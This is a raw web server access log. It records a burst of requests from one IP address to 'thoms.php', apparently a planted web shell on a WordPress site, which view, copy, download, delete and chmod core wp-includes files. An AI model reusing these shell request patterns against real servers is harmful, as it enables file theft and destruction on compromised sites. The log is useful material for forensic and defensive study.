45.135.193.11 - - [11/Sep/2026:23:41:21 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11850 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:21 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-user-request.php HTTP/1.1" 200 12623 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-user-request.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:21 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fstyle-engine&p= HTTP/1.1" 200 12410 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fstyle-engine&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:21 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php HTTP/1.1" 200 15742 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:21 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:21 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-supports&p= HTTP/1.1" 200 12409 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-supports&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:21 -0400] "GET /thoms.php?del=theme.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59217 "http://163.245.207.76:443/thoms.php?del=theme.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:21 -0400] "GET /thoms.php?del=class-wp-block-bindings-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59217 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:21 -0400] "GET /thoms.php?dl=class-wp-user.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-user.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:21 -0400] "GET /thoms.php?del=rss.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?del=rss.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:22 -0400] "GET /thoms.php?dl=update.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59251 "http://163.245.207.76:443/thoms.php?dl=update.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:22 -0400] "GET /thoms.php?chmod=class-wp-block-editor-context.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-editor-context.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:22 -0400] "GET /thoms.php?del=user.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=user.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:22 -0400] "GET /thoms.php?del=class-requests.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59255 "http://163.245.207.76:443/thoms.php?del=class-requests.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:23 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:23 -0400] "GET /thoms.php?chmod=ms-blogs.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=ms-blogs.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:23 -0400] "GET /thoms.php?chmod=ID3&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=ID3&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:23 -0400] "GET /thoms.php?dl=ms-site.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=ms-site.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:23 -0400] "GET /thoms.php?del=post-formats.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=post-formats.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:23 -0400] "GET /thoms.php?dl=class-walker-category-dropdown.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-walker-category-dropdown.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:23 -0400] "GET /thoms.php?dl=class-wp-block-list.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-list.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:23 -0400] "GET /thoms.php?del=class-wp-customize-manager.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59215 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-manager.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:24 -0400] "GET /thoms.php?chmod=class-wp-http-encoding.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-encoding.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:23 -0400] "GET /thoms.php?del=class-wp-customize-setting.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59220 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-setting.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:24 -0400] "GET /thoms.php?dl=class-wp-error.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 58963 "http://163.245.207.76:443/thoms.php?dl=class-wp-error.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:24 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:24 -0400] "GET /thoms.php?chmod=class-wp-feed-cache-transient.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache-transient.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:24 -0400] "GET /thoms.php?del=l10n&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=l10n&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:24 -0400] "GET /thoms.php?dl=blocks.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=blocks.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:24 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:25 -0400] "GET /thoms.php?chmod=class-wp-image-editor-gd.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-gd.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:25 -0400] "GET /thoms.php?dl=class-wp-site.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59215 "http://163.245.207.76:443/thoms.php?dl=class-wp-site.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:25 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=functions.wp-scripts.php HTTP/1.1" 200 18034 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=functions.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:25 -0400] "GET /thoms.php?del=class-wp-theme-json.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59219 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:25 -0400] "GET /thoms.php?del=class-wp-widget.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59270 "http://163.245.207.76:443/thoms.php?del=class-wp-widget.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:25 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=nav-menu-template.php HTTP/1.1" 200 19621 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=nav-menu-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:25 -0400] "GET /thoms.php?chmod=post.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:25 -0400] "GET /thoms.php?chmod=view-config.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=view-config.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:26 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php HTTP/1.1" 200 12878 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:26 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-blogs.php HTTP/1.1" 200 19875 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-blogs.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-json.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-json.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:26 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-theme.php HTTP/1.1" 200 30465 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:26 -0400] "GET /thoms.php?del=functions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59229 "http://163.245.207.76:443/thoms.php?del=functions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:26 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-files.php HTTP/1.1" 200 13210 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-files.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftaxonomy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftaxonomy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:26 -0400] "GET /thoms.php?del=class-wp-dependency.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-dependency.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:26 -0400] "GET /thoms.php?del=template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?del=template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:26 -0400] "GET /thoms.php?del=class-http.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-http.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:27 -0400] "GET /thoms.php?dl=class.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59208 "http://163.245.207.76:443/thoms.php?dl=class.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:27 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=embed.php HTTP/1.1" 200 24794 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:27 -0400] "GET /thoms.php?dl=connectors.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59196 "http://163.245.207.76:443/thoms.php?dl=connectors.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:27 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=update.php HTTP/1.1" 200 22694 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcache-compat.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcache-compat.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:27 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wpdb.php HTTP/1.1" 200 48408 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wpdb.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:27 -0400] "GET /thoms.php?dl=bookmark-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=bookmark-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:27 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fimages HTTP/1.1" 200 17834 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:28 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-snoopy.php HTTP/1.1" 200 21736 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-snoopy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:27 -0400] "GET /thoms.php?del=ms-default-constants.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=ms-default-constants.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11843 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:28 -0400] "GET /thoms.php?chmod=class-wp-theme-json.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:28 -0400] "GET /thoms.php?chmod=bookmark-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=bookmark-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:28 -0400] "GET /thoms.php?dl=class-wp-image-editor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:28 -0400] "GET /thoms.php?del=class-wp-icon-collections-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-icon-collections-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:28 -0400] "GET /thoms.php?del=class.wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59173 "http://163.245.207.76:443/thoms.php?del=class.wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:29 -0400] "GET /thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11546 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
